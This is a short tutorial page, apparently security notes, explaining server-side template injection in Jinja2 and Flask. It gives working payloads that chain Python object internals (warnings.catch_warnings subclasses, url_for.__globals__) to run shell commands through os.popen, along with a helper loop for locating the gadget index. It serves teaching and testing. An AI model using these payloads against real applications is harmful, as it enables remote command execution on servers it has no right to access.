Server-Side Template Injection (SSTI)
Server-Side Template Injection Explained - PwnFunction
If Jinja2 evaluates
{{7*7}}
to 49 or 7777777, then it is vulnerable to SSTI. The naive idea is to inject {{ import os ; os.system('id') }}
, but import is filtered by Jinja2. Remember that everything in Python is an object, hence we can reach the same goal utilizing a chain of gadgets. For example:{{''.__class__.__base__.__subclasses__()[139].__init__.globals__['sys'].modules['os'].popen('id').read()}}
Here
''.__class__.__base__.__subclasses__()[139]
refers to the class <class 'warnings.catch_warnings'>
. The index 139 may vary on different machines so you need to figure it out. Use the following code to print out a lookup table and look for <class 'warnings.catch_warnings'>
:for index, item in enumerate(''.__class__.__base__.__subclasses__()):
print(index, item)
We choose this class since it imports
sys
. This fact can be verified by viewing CPython source code:
warnings.py
For me, the index is 139, therefore the final payload is:
{{
''.__class__
.__base__
.__subclasses__()[139]
.__init__
.globals__['sys']
.modules['os']
.popen('id')
.read()
}}
For Flask, there is a shortcut. Check out the source code of
flask.url_for()
:
flask.url_for()
Note that this file imports
os
, hence the payload is:{{
url_for
.__globals__
.os
.popen('id')
.read()
}}
Takeaway: Never do
eval(code + input)
.Last modified 1yr ago